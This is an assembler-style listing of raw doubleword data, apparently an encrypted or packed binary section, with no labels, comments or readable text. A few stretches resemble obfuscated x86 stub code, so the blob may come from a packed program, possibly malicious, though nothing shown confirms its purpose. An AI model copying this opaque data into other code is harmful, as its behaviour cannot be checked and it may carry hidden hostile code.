		dd 80967159h, 8A6651B6h, 56B31A85h, 85648A5Fh, 0D34A7368h
		dd 0FB8A3548h, 3CF5B267h, 5F0CE0B9h, 635F8A8Fh,	0D89566ABh
		dd 4A749286h, 7F83C29h,	0F8D70000h, 0DC04E319h
		dd 4E61133h, 0D1FADDFFh, 5E51034h, 0C948DA02h, 7FA5628Ah
		dd 6F957658h, 80A46588h, 6F957855h, 0D6A7B485h,	53239711h
		dd 638CDA9Eh, 41B45578h, 7F78A168h, 0B1527859h,	31A46D3Ch
		dd 6C0DD678h, 4BA16853h, 0CC757AFAh, 0A6C254D2h, 242FEA30h
		dd 2F8EAA9Ah, 8FEA29D0h, 0C239C9Ah, 0AF7FF0Fh, 43CAF3D2h
		dd 0F17E0D78h, 171E17B0h, 782h,	71937E61h, 7FA56A86h, 6B917258h
		dd 7EA65F8Ch, 70947357h, 0BC205FD2h, 902E994Bh,	0BF1EC97Bh
		dd 8A33924Ah, 0C6736183h, 9710E495h, 4CEC6123h,	7F8A31CEh
		dd 0AE5F806Fh, 3C9F4027h, 9F7A7B94h, 85A0D97Ah,	601D2996h
		dd 648770A9h, 4F5891A5h, 10179E6Dh, 0E4585DAEh,	0B19C511h
		dd 0A13E2E3Ch, 0D648994Fh, 0F0390821h, 0E429C34Ch, 44FD4D2Fh
		dd 95C06617h, 1026E329h, 4F14h,	69FFEE00h, 0A74B0831h
		dd 752F8F98h, 7A734D9Fh, 0BA5C24D6h, 0A9504542h, 0B559AE0Eh
		dd 9D24E392h, 0C47DC223h, 9D24E697h, 90A66323h,	70C96571h
		dd 24EF8AC9h, 0AF6C239Dh, 9D24D9A4h, 85A95623h,	0D63CEC80h
		dd 64A948h, 8B740000h, 0AE84AA61h, 0DAFF69FFh, 0EF3AD5F9h
		dd 0EC25E608h, 0D4372635h, 0D2272F8Fh, 8C0104E5h, 363B3EDDh
		dd 0CBB8239Dh, 2BD6D32Bh, 3EE32C94h, 19BF1CC1h,	250F1FEAh
		dd 9D36581Eh, 0EABE1623h, 1C66A3A2h, 0E533BB41h, 92557A0Fh
		dd 8B506D7Ch, 0B558755Eh, 0AA8FB57Ch, 0B559AC0Dh, 80759A36h
		dd 65975h, 69FFCB00h, 0EB4B0831h, 0F62F8FB9h, 3AA38409h
		dd 7C4BE2D3h, 3B67F16Eh, 39D4F906h, 0D6E11815h,	0CE9B12F7h
		dd 850D2528h, 0AE532996h, 0A41C0C6Dh, 6FAC891Dh, 1DA41C0Eh
		dd 0C3539E8Bh, 2F964E3Bh, 725A7F8Eh, 29D15A34h,	16CF5F94h
		dd 6D08153h, 15347A3Bh,	42AAE62Eh, 7F0E18Ah, 0F7B223E2h
		dd 459D0B57h, 7F9C659Ch, 1DA401FEh, 0FC7D9E7Bh,	791DA401h
		dd 9EB1458Ch, 239D2000h, 70994433h, 853334B9h, 4F70777Eh
		dd 8F3037BEh, 0D200F77Eh, 0CB17F60Ch, 0EB11FCE1h, 88B1E97Fh
		dd 60A546B1h, 0E50B7BCEh, 46B11DA3h, 0BD6C61A6h, 31A46199h
		dd 7164A946h, 6EAD54E9h, 11B1E30Bh, 0E2E598C3h,	0A56211B1h
		dd 53B24441h, 0A20E9807h, 0D03F9F3Eh, 0CC59419h, 603EAD5h
		dd 0C647A88Fh, 0F34EEB0Bh, 0D3F5E00Ch, 25ECBD30h, 0F255F9B0h
		dd 17AAE390h, 2D500B36h, 0AA0BB8E1h, 0C7A159FDh, 0DA60DDF7h
		dd 944D84DEh, 4449C02Bh, 52B78195h, 10858865h, 9936B559h
		dd 0BEA6D784h, 21310BB8h, 5F188AEFh, 0DA0F0CF2h, 2E8D4D3h
		dd 0D7FA35EBh, 639E5319h, 0C5B8639Eh, 420BB8C9h, 0C9C3B645h
		dd 43400BB8h, 0D4A33AB3h, 0EFCFE886h, 0BA3BD0EEh, 7CC22ADFh
		dd 0E048E93Bh, 2E8F5EF0h, 0E3DC3DDFh, 87F221F8h, 40BB890h
		dd 203CD217h, 8CB56CB6h, 0B890AECFh, 0D87E2B0Bh, 0C05BA65Bh
		dd 0BB890BDh, 9093E675h, 13100BB8h, 0ED60F6B3h,	11B1AEB1h
		dd 0F4E905E4h, 0E2B73EC7h, 0CF3A627h, 37E227E0h, 0E9EC1DC0h
		dd 0E2C51E30h, 0AFFDEFDh, 0BD4CCEBFh, 0F8E2DD91h, 0D0B455EEh
		dd 0BC758609h, 7C912E39h, 53C5A1B5h, 6E5D207h, 1546F303h
		dd 0BB86389h, 0DF1ABFBCh, 0C6274934h, 275201FFh, 0A4FFC627h
		dd 0F41A07F7h, 0BE329B3Ah, 0E208E970h, 6796CB21h, 0F7C233FEh
		dd 1E3DDE00h, 0FFC6275Bh, 0EFE62BD8h, 0F8D5143Ah, 0EF4AEF15h
		dd 0C6271964h, 27CC96FFh, 2CDE4208h, 9DC96DA4h,	0F4D8DF0Bh
		dd 3C750813h, 35F2FFC6h, 14BA45FCh, 39DA57F7h, 5BF6E05h
		dd 34A3E133h, 0F04CF6A0h, 0AB22E107h, 0C6A058FEh, 7AF7C95Eh
		dd 6667A2B7h, 188951C3h, 0E20558E2h, 57CF94Ch, 0E65BF9CDh
		dd 0F519F4D9h, 72EED806h, 3362E6D9h, 45h, 8831CE15h, 5915F060h
		dd 2FFABB5Eh, 1F4BEBBEh, 6BA85189h, 2F8E9EC3h, 40CFEFDEh
		dd 0FA7F0489h, 0D9239C79h, 0FF7A9960h, 7C239C79h, 50996C4Dh
		dd 5B133FBEh, 1E8F7864h, 8A66AB4Bh, 4B48D551h, 13Fh, 546CE9Dh
		dd 0EE3506Bh, 4EB7249Bh, 69A449A8h, 68A747B0h, 0B21A1DC6h
		dd 76576055h, 11848765h, 0FED2AB68h, 524F2995h,	5C5B5297h
		dd 0A2667D73h, 33738DA5h, 0FBC43FEh, 93245506h,	0E4A12995h
		dd 5DF1A82Dh, 21C936D3h, 143AEFE6h, 9597BF31h, 35A64729h
		dd 0A9807598h, 0A03EB960h, 9FAF6A6Bh, 5E8B7495h, 876887A7h
		dd 4F706B54h, 0A76237BEh, 37BE7326h, 0E5D035A3h, 0B1E0844Dh
		dd 0EF6D29F9h, 65168B1Dh, 7EB3507Ah, 0FCBE98C3h, 3BC42F8Eh
		dd 22DA7C93h, 1D8BBF65h, 36E51CC5h, 239CD043h, 0A4F1C3C0h
		dd 30E27F39h, 0CC87A44Ah, 2998F498h, 0B3567582h, 2FC76742h
		dd 696C9D40h, 79C079B0h, 4F207093h, 112517Ah, 1DA17178h
		dd 715A2330h, 2AD71DA1h, 0D33695B4h, 0D5C207E2h, 0CC9D10F3h
		dd 0CAF20D2Ah, 0A627DE0Bh, 0DF063EF3h, 0CEAF0CFBh, 0D4BEFD81h
		dd 2B8DADBh, 38970000h,	1CC423D9h, 44A651F3h, 11BA1DBFh
		dd 45A550F4h, 89081AC2h, 3FE522CAh, 2FD53698h, 40E425C8h
		dd 2FD53895h, 1667F4C5h, 9323970Ch, 46CE1ADEh, 44F8175Dh
		dd 0C524CA14h, 0FE0FB025h, 9E61133h, 0FF3EE004h, 67124169h
		dd 0E4299685h, 0C47F237h, 2F8F9822h, 0DB78C178h, 239D72A2h
		dd 0A8D1621Fh, 25239D72h, 611ED678h, 6E9D3FB8h,	5D5A1FC8h
		dd 51088D80h, 71858A66h, 9D7297DEh, 438F7623h, 0D64EE983h
		dd 139AE48h, 86710000h,	0C14E7269h, 0E1D41DCCh,	0CE50E608h
		dd 6F65E646h, 0E373FFD9h, 0F045AB14h, 0EEA56BECh, 0B0C98AAFh
		dd 2D2995CEh, 7780B970h, 0F28BC857h, 6F2995CEh,	0ED777B2h
		dd 0C429966Bh, 0CECFAA49h, 4F4C2995h, 7B8C30BFh, 8A2B4EC6h
		dd 943B1E3Ah, 16DA6982h, 0E029963Fh, 248905ECh,	87A7050Fh
		dd 5E868768h, 6CA13EB9h, 19C22BCAh, 189D54AFh, 82876651h
		dd 1F66F06Ch, 14609C67h, 5A7F4A18h, 0C0B95A9Fh,	36299618h
		dd 908D7196h, 2E8BCB7Eh, 0A9562F8Fh, 951C773h, 201E7D0h
		dd 0FB38DE8Bh, 98F2A560h, 0A2C74D29h, 0D0A5BD35h, 0E413EB0Bh
		dd 22D712FBh, 0DCD13495h, 0B34CE90Dh, 3BDC0007h, 8895E0D9h
		dd 0A0A5B2CBh, 9A722F1Dh, 93A32147h, 0C9727864h, 56303472h
		dd 0C818A34h, 7E5D945Dh, 0BEFDCA83h, 43F500F1h,	22000001h
		dd 4BAA52BFh, 0DB86CA3h, 41A458ABh, 10B76D98h, 8BA95BACh
		dd 86816916h, 0B655775Eh, 8584678Eh, 0B657785Fh, 8893648Eh
		dd 23970AF5h, 8C3BFD72h, 0B0537560h, 7FA56C3Dh,	6E967758h
		dd 9AE370C9h, 17299685h, 0D9A4AF6Ah, 56299685h,	0CEAF85A9h
		dd 0E8E76D46h, 9A805791h, 3B5767F6h, 0F30214DDh, 0BB2F26CAh
		dd 4918016Eh, 7D5E5980h, 0BE220588h, 448D5C51h,	912E39B2h
		dd 585FC87Ch, 0E5819576h, 47F22773h, 0F81861F2h, 2CA32995h
		dd 0C92D7BD8h, 44EA9707h, 95358801h, 3697202Fh,	88F122D7h
		dd 523965Dh, 0CFFEF618h, 2ACF1AE9h, 1A6576A2h, 907F55B2h
		dd 717A9CF8h, 7F8E2FC8h, 5657B818h, 5B847383h, 6EB05595h
		dd 75BC2E86h, 6B4D6ACFh, 56777698h, 0BF8D36B7h,	550F590h
		dd 0C81E7064h, 4EDFD60Bh, 358F6C0Dh, 0F53CE9F6h, 0B8B4A261h
		dd 0F31CC417h, 9211033Eh, 13565122h, 0B3121C32h, 1CE7D10Ah
		dd 0F2D7E0D5h, 3495A213h, 0F51F8CB4h, 2BE65D3Ah, 2954FFAAh
		dd 0A6F6367Dh, 2CE1FEF9h, 362453A9h, 2F3BD268h,	0B76DA03Dh
		dd 575EAF10h, 0D4Eh, 0AA14AB00h, 0B2577661h, 72C86E3Bh
		dd 658C390Fh, 0A13E29ACh, 5F7E696Ch, 9A4423AAh
		dd 4F7B7C71h, 8A3235B8h, 4A6F787Dh, 8B2D3ABBh, 4E727578h
		dd 531BCCC1h, 0C381E389h, 4, 8704EB83h,	895C241Ch, 8956240Ch
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 241C895Ch, 4EC81h
		dd 0C890000h, 98BF5724h, 81372A3Ch, 0C7DD27EFh,	5FFB8914h
		dd 0B5E381h, 0EB817E41h, 1C40931Eh, 240C8B54h, 8304C483h
		dd 1C8904ECh, 8418F24h,	53240C8Bh, 0C381E389h, 4, 8704C383h
		dd 0FF5C241Ch, 815B2434h, 4C4h,	1BCE900h, 8CE0FFFAh, 0B855F2B0h
		dd 5FF7CD2h, 0E0FFC503h, 6240E64Bh, 6E461923h, 54D69250h
		dd 296F250Ch, 168D2BF6h, 3241247Fh, 4189FFA9h, 9F98C18h
		dd 56C0AD2Ch, 5D4E90ADh, 5844D9F9h, 6CA059DDh, 7B5246F6h
		dd 1AB495CEh, 4CEE201h,	72A3E478h, 71CE1ABBh, 767B800Ah
		dd 481C0D7h, 439451Bh, 63162389h, 5559AC98h, 69D43F3Eh
		dd 404D89BAh, 3DCF1F38h, 5FEC52B3h, 308B5C7h, 72AB1E30h
		dd 47F7CB5h, 7E4A90A8h,	18D95160h, 7E8h, 9124A700h, 0A6C2E97Eh
		dd 0CE9h, 0E3F8E700h, 1ACD6BBAh, 81A906F3h, 81665BD3h
		dd 81A57AD6h, 713BC3h, 0E880F00h, 0E9000000h, 9, 73D81CABh
		dd 493BFC8Eh, 81D22B07h, 4DD9EFDFh, 130C8B7Ah, 11E9h, 29F05800h
		dd 6CC3CD0Ah, 5E437616h, 23BF017Fh, 0F1817CA4h,	7A61F286h
		dd 884E67B8h, 0C5F18136h, 0BE4569CEh, 2FE1A03h,	2C44E981h
		dd 0CE80649h, 40000000h, 10952F8Bh, 0CF753007h,	5E95C511h
		dd 53130C89h, 58F28B66h, 0E804EA83h, 0Ah, 37E36325h, 0F0B3D3F8h
		dd 815F52FAh, 0FF8F70FAh, 92850FFFh, 0F8FFFFFFh, 7F378D8Dh
		dd 9D8905FFh, 5F91805h,	0CDD8D89h, 6A05F9h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8B6623C3h
		dd 0C185C7FBh, 5C05F926h, 6A00006Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0BB6BC350h
		dd 0B2AE3DBFh, 0F98D89ABh, 8A05F929h, 0FD85C7D4h, 5F900h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 9CABC356h, 80011A0Bh, 0B5FF3BF2h
		dd 5F916DDh, 95FFC68Bh,	5F920D5h, 0FF006AFCh, 0F91AED95h
		dd 0EBC08B05h, 51C91A4Bh, 28A35540h, 0AA8EF9DCh, 0FEBB7CCFh
		dd 80FACEA1h, 0BE6B5D8Fh, 0F5F210FAh, 885E625Ah, 12084594h
		dd 9E9F21B3h, 8D9B3D5Ah, 0A2F94831h, 2DA14FA3h,	0A163C3EAh
		dd 2FC22879h, 65F849A2h, 0F821921h, 125F741Eh, 8032E3F0h
		dd 5E9h, 96A9C700h, 49E90056h, 0F6000007h, 0E70E36DBh
		dd 0F1D40807h, 0DD083CC7h, 0F4D309FCh, 879D3FC8h, 9A6D4D0Ah
		dd 0B2598362h, 89806B8Ah, 0C24B7453h, 54FFB81Ah, 23970629h
		dd 0CE7F41A6h, 0AB648C73h, 99E46F2Ah, 16299685h, 0C926C569h
		dd 86665144h, 27A3FA64h, 0FB362C7Eh, 9A419E49h,	8E1D431h
		dd 2EBCCC1h, 419D8A0Bh,	6156C7CEh, 0B7567775h, 0A07F8A82h
		dd 70FD809Bh, 8D7A2996h, 60605427h, 5A8164CEh, 29AC5F7Dh
		dd 6483B970h, 63699079h, 0C2D6C349h, 6D76986Eh,	26A7648Ah
		dd 7B729D41h, 34B9527Ch, 0B36B7796h, 0AC6792AFh, 29964ED1h
		dd 3EBD514Eh, 26B11C10h, 508940C5h, 4F0F6AA9h, 8CC72996h
		dd 29964EF1h, 1E4DB16Eh, 8F4A4BC0h, 5B7AB45Ah, 691A9B72h
		dd 29964F0Dh, 4BB48DB2h, 0B0C96AA1h, 2D29964Eh,	331FDE70h
		dd 2F6A9953h, 0AA5E4Dh,	8CA80000h, 0B3547863h, 0AFCC777Eh
		dd 52299685h, 38BF6F7Bh, 0AD7C7192h, 5DE88489h,	1AD4D2Fh
		dd 77000000h, 728E648Ch, 0AB9E7B6Ah, 0CDB06B96h, 4A29966Bh
		dd 1621945Dh, 28AC55BAh, 0CAAD43E4h, 0F7F006DBh, 0E528C532h
		dd 9A39A251h, 0B5FFD532h, 748052CAh, 0F9E0FDAh,	0CFBC626Ah
		dd 0E4AE1A69h, 34DA0FF8h, 0EAD599C5h, 0A3840906h, 0EDBD239h
		dd 1CC433C3h, 0DB14EF3h, 8E780112h, 8F52995h, 0F91DCCC1h
		dd 1DDDA3Fh, 8E7CFD1Eh,	0CF92995h, 6E7D0C5h, 1ED38607h
		dd 39D4F9F8h, 92AE2603h, 0D1671B62h, 5CA9128Dh,	0C86E8059h
		dd 5675608Ch, 856742B3h, 0F969257Ah, 4F8A3F06h,	0FBEC457Dh
		dd 95FC1D60h, 7ED9A29h,	88AE7D46h, 0C11D9A5Fh, 0A549A84Eh
		dd 48F1636Ah, 0F9FC0BAFh, 0E3EF0E20h, 0FE26E109h, 9617F6D7h
		dd 0D9DC2791h, 9A1BF0CEh, 0D9DC2F8Dh, 9A677344h, 47A1F334h
		dd 0D068A162h, 735D2935h, 344D2F58h, 0BCh, 0A7608C0Eh
		dd 0A3668572h, 6B4D5A93h, 86126BA8h, 928F2996h,	0BC57A257h
		dd 299685C1h, 34AD413Eh, 0AC80CEA9h, 0F415C740h, 0DE4AE320h
		dd 21359D2Dh, 981DEAD2h, 44A92A8Fh, 0DED900C9h,	0D58409FEh
		dd 0E520A841h, 84A30DF9h, 99044D2Fh, 0D7000000h, 0E80EFFE0h
		dd 8C31CE52h, 5E7E6D81h, 259C70A9h, 0D174A4CDh,	7E3BA44Ah
		dd 0ADEC1096h, 53E367EDh, 29D039A4h, 75362AA3h,	8063D398h
		dd 45E49FC2h, 0BC25C900h, 0F9FC13BBh, 0B33ACFEEh, 0C0ACBAD5h
		dd 2BFEEF20h, 9A251AE6h, 512CE734h, 0CE299656h,	0C49518D1h
		dd 0A587D332h, 0FD1AC245h, 0E6A3D917h, 0C1138527h, 3D5CBB2Fh
		dd 2F052912h, 7F8A31CEh, 3CBB5B0Eh, 39C67B94h, 8E17590h
		dd 9685FF7Bh, 1D49A429h, 2F5DB729h, 0A704Dh, 49CB0000h
		dd 86A81FABh, 181E30DEh, 7CA55E8Ch, 27AE5583h, 2403DC72h
		dd 49BA20BBh, 0C52A0D80h, 79624548h, 483F098Ch,	81BE441Ah
		dd 42B35876h, 85A1DC77h, 611E2996h, 6B7786A8h, 78AC5781h
		dd 14C7288Fh, 25A861AAh, 1086E274h, 0BFEDDDAh, 96858DF0h
		dd 0D41D0A29h, 0EE2DD42Dh, 2996858Bh, 7D001B08h, 0FA299685h
		dd 0F54CE90Dh, 0B124E10Ah, 3FF356F8h, 8D2F8FA7h, 0F0DFE787h
		dd 0C5692EDDh, 6DA23E2Dh, 0E792C168h, 64239CEEh, 36B772B7h
		dd 0EC8DCE73h, 69239CEEh, 725B9ABCh, 0E898469h,	80595CB1h
		dd 0C3279049h, 5D88B244h, 3DF27080h, 0A8701C2Fh, 9D3FB861h
		dd 5AB2676Eh, 558911CCh, 727B9B52h, 9D5296E1h, 8563123h
		dd 0AA52BB24h, 0BB48728Dh, 68735C9Bh, 57128384h, 0B31C1B92h
		dd 0E6C1535Ah, 1FC936F8h, 3AA352E4h, 32A62ED3h,	2E966B93h
		dd 0F36FD8A1h, 0CE032619h, 6F010E28h, 2848D632h, 1C3h
		dd 29E20CF3h, 0F31AC3A4h, 4CE22702h, 3169FFE6h,	0C6000408h
		dd 8B250D9h, 7C0A49E6h,	1A2F8EBEh, 0A64934DFh, 0D9C6239Ch
		dd 0A68AF320h, 1A07239Ch, 8EFFFCF4h, 13C944A9h,	0D7020BB4h
		dd 0EAF1FFE0h, 0E25739C9h, 7D668841h, 0B50958BCh, 9D381128h
		dd 0B8557A79h, 618B3235h, 0FBBD228Eh, 797CB5F6h, 39BC516Eh
		dd 0A69AE370h, 6A17239Ch, 0CDDF0BDAh, 58D41DF0h, 22B5189Fh
		dd 139A4FBCh, 0FD809B46h, 7A239CA6h, 4C9A698Dh,	7D9E7F60h
		dd 239CA6FCh, 39BC4972h, 6C4F7E60h, 8841189Dh, 9A569B41h
		dd 5B48D682h, 99h, 57B219A6h, 65FF81B7h, 85631645h, 23E02996h
		dd 0F10E33EEh, 9BAE40CBh, 0A99685C2h, 6057827Fh, 4F0A8B7Ch
		dd 11848568h, 8C2DB658h, 0F7E3DA88h, 4AEC4330h,	96637607h
		dd 81B881A9h, 9663A7D2h, 0D77724A9h, 0A0743A28h, 57D2844h
		dd 70710E0Ch, 81D83399h, 0AC3632C4h, 0C598C37Eh, 82299662h
		dd 79635C85h, 514E1B92h, 0BE789E69h, 0EC227359h, 0C8266EDDh
		dd 38F1E425h, 54A91BF1h, 3F717326h, 953EAFh, 0C67B0000h
		dd 9651E495h, 7DA46129h, 96519BDEh, 0CB6B1829h,	0FF69FF75h
		dd 0EFAA2BDAh, 3254FF3Ah
		dd 0D82F8F86h, 830AF9DFh, 0CBB840D6h, 0DB00DDCAh, 36E51CF3h
		dd 239D8443h, 0D60EC3C0h, 4E3FCEEFh, 9D85AFC5h,	29355023h
		dd 0E2F48F85h, 8D0997F3h, 0A8658A69h, 0D652C474h, 23DE13F8h
		dd 0DFFCE1DEh, 0DBC40DFCh, 0C39617EEh, 98E52033h, 6552299Ch
		dd 9D99C3B6h, 8E43401Dh, 4EBF2007h, 1E4CC347h, 16CB1781h
		dd 23ECD4EBh, 18C54013h, 7532239Dh, 7E8533CCh, 0CEC05ED8h
		dd 6E808B31h, 33E64F2h,	0CB08D63Eh, 316A6735h, 0E9D72A1Dh
		dd 57442F95h, 6F6C5156h, 3037BE4Dh, 8CB57C8Dh, 96EAAECFh
		dd 0B37E2B23h, 0BF4A718Eh, 41FB1BCEh, 6FB73996h, 0B34C084Ah
		dd 5AB267A2h, 9DA9F0ACh, 85F82364h, 2239714h, 0C12ACC05h
		dd 42FA12h, 0FEF9C077h,	63F029DEh, 0D02DE51Ah, 0B544EA97h
		dd 0D6FA05A9h, 0E227E607h, 1C32D5F5h, 0EBF0CDh,	0E57FFA19h
		dd 0FFFCD02Dh, 3E56E2CAh, 7C7210CFh, 49738CB5h,	0E3022CC2h
		dd 11FCE1FAh, 57B2B09Ch, 0DDE467EFh, 9B24DD14h,	0AB34DA31h
		dd 0A3B7060Eh, 2D808526h, 401EA09h, 0C348A691h,	508E5D2h
		dd 3C2A1D90h, 0B37E8F30h, 7A7260AFh, 6184B855h,	5D1C917Ch
		dd 0A10677A4h, 8891D02Dh, 0E62B63AAh, 1CF0AD11h, 943051A1h
		dd 0E3042A76h, 3, 8C390F1Dh, 3E29AC65h,	7E696CA1h, 4423AA5Fh
		dd 7B7C719Ah, 3235B84Fh, 6F787D8Ah, 2D3ABB4Ah, 7275788Bh
		dd 1BCCC14Eh, 136E68h, 240C8900h, 81E18951h, 4C1h, 4E98300h
		dd 5C240C87h, 51240C89h, 0C181E189h, 4,	4E981h,	0C870000h
		dd 2C895C24h, 0B9515224h, 3EFB4EB7h, 58F18141h,	0C174DE53h
		dd 0E98106E1h, 2BC50650h, 6A38E181h, 0F1810941h, 3C2E58D9h
		dd 0B959CA89h, 0D0D146ADh, 685AD101h, 1338h, 83242489h
		dd 5D042404h, 4EC81h, 0C890000h, 8458F24h, 5D2434FFh, 4C481h
		dd 34FF0000h, 0C4815924h, 4, 0F9F83DE9h, 7F8448FFh, 0E39B6D7h
		dd 0F3CFE7B4h, 5E013A5h, 0FF863FB8h, 0FFC50305h, 0D92957E0h
		dd 0DDAE703Ch, 80C54C42h, 0B1A43941h, 0D2105475h, 2E18AD20h
		dd 26715127h, 0AB03C35h, 3C9FF27Ah, 59C6097Eh, 4833771h
		dd 43B0CE24h, 6053B041h, 0E02D646Ah, 0DE35D066h, 345FF615h
		dd 0C2401B18h, 89349E7Fh, 4BADFE07h, 0BBDDAE08h, 0C5EE6D54h
		dd 7E9AFA24h, 8A4AAD1Ch, 9C7E76Fh, 5AE06E74h, 9A7EBD1Eh
		dd 37E970h, 51DF0000h, 2475h, 254h, 0Bh	dup(0)
		dd 1048E900h, 85680000h, 0E905FF89h, 0FFFAFC91h, 0FF8AD068h
		dd 0FC87E905h, 0E568FFFAh, 0E905FF8Ch, 0FFFAFC7Dh, 0FF8DC768h
		dd 0FC73E905h, 9E68FFFAh, 0E905FF8Eh, 0FFFAFC69h, 0FF918D68h
		dd 0FC5FE905h, 8168FFFAh, 0E905FF92h, 0FFFAFC55h, 0FF945E68h
		dd 0FC4BE905h, 0FB68FFFAh, 0E905FF95h, 0FFFAFC41h, 0DE59983Bh
		dd 85925F8Fh, 0E05B9A38h, 82956891h, 0DF5C993Bh, 0E610A360h
		dd 19BD0417h, 0E3125FDCh, 1DBA0714h, 82DC5DDAh,	20854FD9h
		dd 9202F79Fh, 1406F126h, 1D623CFh, 25D11698h, 0B9FED5D8h
		dd 6A133F74h, 9ADF02DEh, 1CD9F986h, 4D2DF2B1h, 0DF0218A4h
		dd 12CDC49Ah, 0C22FE328h, 4CCF0CC7h, 19C282BFh,	9ADF028Fh
		dd 97873C37h, 0A23E973Fh, 1A9ADF02h, 0E4B99467h, 5A9CA033h
		dd 0A94C6D02h, 263334D0h, 3FC9329Fh, 0A79F2633h, 0CE1110ECh
		dd 0D16B046Ch, 8D9F2633h, 0D5584196h, 9F263377h, 4D431873h
		dd 827BAE04h, 5695h, 61E00B00h,	0E97ED648h, 6CD92CC9h
		dd 1132C4BFh, 1380D91Eh, 119CA07Ch, 2DE32812h, 73768136h
		dd 0A96A63A0h, 6E037B6Eh, 0F9F8184Dh, 9D10D390h, 0B018F1C6h
		dd 0B09F267Ch, 48B08651h, 267C15AFh, 0C42DD19Fh, 9F267C38h
		dd 0E532EDA4h, 7B652C65h, 0FCBD82h, 13330000h, 58FFAAF2h
		dd 0C4171917h, 2C9D587Dh, 0C7C233E5h, 0C09A5D7Ah, 0A96E832Bh
		dd 3F24D140h, 6665448Fh, 0E1A30ABh, 0FD56D8D1h,	9ADFB563h
		dd 28DB28DBh, 0A9E1BA13h, 0BFF49ADFh, 39DE2338h, 0B124C019h
		dd 4FA09ADFh, 578C57A6h, 6D88A556h, 88F3640Dh, 0F2B19CA0h
		dd 3A5BD265h, 8D648BE0h, 9A74471Ch, 0CC0BAD42h,	0AFCECF54h
		dd 77447F6Eh, 5ABA8A96h, 0DF3F3299h, 0FFC731FEh, 0DB13387Bh
		dd 2C0EC916h, 8D2E3DD7h, 5BA2B56Ah, 16813CB9h, 0F3ADB1EEh
		dd 0DB22AFAh, 76A10000h, 852D7487h, 70A6EB70h, 8A2B7285h
		dd 77A1F06Bh, 3DFA7186h, 6EE90CAEh, 0F106F31Fh,	69EE05ACh
		dd 0F308EF24h, 21BB147Ah, 9D9F208Bh, 0F213F0ECh, 42FCB816h
		dd 797EE0C2h, 91E4FB2h,	74A6EB30h, 20419981h, 0D26FBBA1h
		dd 67015CE7h, 0DF9ADF84h, 0D54D724h, 0B00A0DE8h, 8415AF48h
		dd 0D2D19ADFh, 61E09B05h, 147DD648h, 0A9CA010h,	36E22717h
		dd 2489F4C7h, 9F2610A4h, 882C37DDh, 0CE33B669h,	6FDDD027h
		dd 1E164714h, 0D92218A3h, 6A827BD0h, 0FEh, 290F708h, 0C31ED5FCh
		dd 7D4036Ah, 0E8F1269Dh, 0C0EFDC9Dh, 0ADBB831h,	5BA89688h
		dd 0B640C72h, 9ADF3971h, 856CA4EDh, 32BFF33Ah, 7F7E98E5h
		dd 25DAAF0Eh, 0F81D9ADFh, 4BA0FAFDh, 6F702FA4h,	0E4D33CA0h
		dd 22F5AE1Fh, 4E3FB65Bh, 5E4780BDh, 23EFA275h, 22BAA45Fh
		dd 0DDD025CDh, 0E758B106h, 9D9CA0F8h, 74F951E6h, 5E35B83Fh
		dd 78AF8E99h, 0FEEC8046h, 0D4563483h, 90E1A0BCh, 46AE9053h
		dd 17E411C1h, 5A481B36h, 55860B99h, 0AF6C27A2h,	0E70EC44Dh
		dd 88F22DE6h, 0D126CB03h, 33C2F479h, 0E114C64Bh, 2ACC1116h
		dd 0F8AB12CBh, 618CADB1h, 0C6793h, 54A35600h, 9B5A7AC7h
		dd 52A351A0h, 0A05F78C5h, 51A4569Bh, 0F98A45C6h, 0D4191EDFh
		dd 0F746D120h, 0CF1E19D8h, 0C548D322h, 88741069h, 37F09F20h
		dd 1F426BDh, 0FCC394F6h, 39D804CCh, 0BE458D78h,	0C6F558BDh
		dd 70872CF1h, 0F12609EBh, 26CF861h, 19D89ADFh, 2856EAC8h
		dd 4F94A6BCh, 7E819AEFh, 0D4015039h, 2FB41621h,	658B7683h
		dd 0B8789D41h, 67C651A6h, 7997EC4Eh, 0F401B57Ch, 79AE4727h
		dd 299CA079h, 8A4BB0D1h, 4477FAB5h, 261B4FD9h, 0BFFCF79Fh
		dd 0AF3426DDh, 0B924F706h, 0F100B035h, 0A9BA5726h, 2833F00Dh
		dd 61B93CD9h, 9C0DE40Ch, 2589F4C7h, 0F6650C54h,	1CDFD35Fh
		dd 0EC4EC441h, 60DB8616h, 0FF89F28Ah, 6718604Eh, 0C2FD001Ah
		dd 0C78B28F5h, 604E922Eh, 8C574A18h, 0A8D9D1B2h, 0B4EC9A49h
		dd 789DE467h, 0D1B20C7Dh, 776ADBB6h, 2904D7D2h,	18607B9Ch
		dd 0BA904BA6h, 7B2FB922h, 37971860h, 607B029Eh,	0FCC7BA18h
		dd 0B24572BFh, 3ADB30C8h, 2811D2BBh, 18607B9Ch,	898E4948h
		dd 65688F44h, 7C087109h, 0E818607Bh, 1CA85129h,	0C818607Bh
		dd 0AE2B0EC9h, 4618607Bh, 70A568F3h, 0D3187285h, 3E03D81Dh
		dd 136B5E99h, 19AEE7F2h, 9B2910Ah, 59EE29F6h, 159C1E4h
		dd 70AB4A6Ch, 0E0E4C80Dh, 8A29B6E1h, 4BA3B86Bh,	0E8E114C6h
		dd 0E65BF02Bh, 0E88A5BC3h, 9FC32ADBh, 0DBCE2FC9h, 1E00BB08h
		dd 19D4ACB5h, 0DD4112E4h, 0D874259Dh, 0B03525DAh, 1FF4F504h
		dd 5954A352h, 0F24C3D7Ah, 3F57F18Ah, 6F0FE79Fh,	9F3F7A06h
		dd 0F42FE2E7h, 3FB94627h, 23A3E79Fh, 0FB943542h, 5A9D53A3h
		dd 75C3205h, 52CC0FEEh,	0B342D09h, 886FA4E9h, 60C8C33h
		dd 65AA0000h, 0F84944B1h, 11E619D8h, 27612AFh, 0E96F9ADFh
		dd 0E9ADF12h, 9ADF0E56h, 0DF1101C7h, 26CF279Ah,	9ADF119Ah
		dd 7F8C4F42h, 1EB7A7C2h, 9CA0200Dh, 0A6FDC0B3h,	8BA7BBA0h
		dd 0A529262h, 96410000h, 658DD467h, 90468B90h, 6A8BD265h
		dd 9741908Bh, 9D5AD166h, 0E09EC0Eh, 51E613BFh, 90EE50Ch
		dd 53E80FC4h, 41DB74DAh, 0FD9F208Eh, 0F126900Ch, 39F88306h
		dd 1F8A6D8Eh, 530ECD26h, 0A45FE8D1h, 9156FF5Fh,	4F9CDFD9h
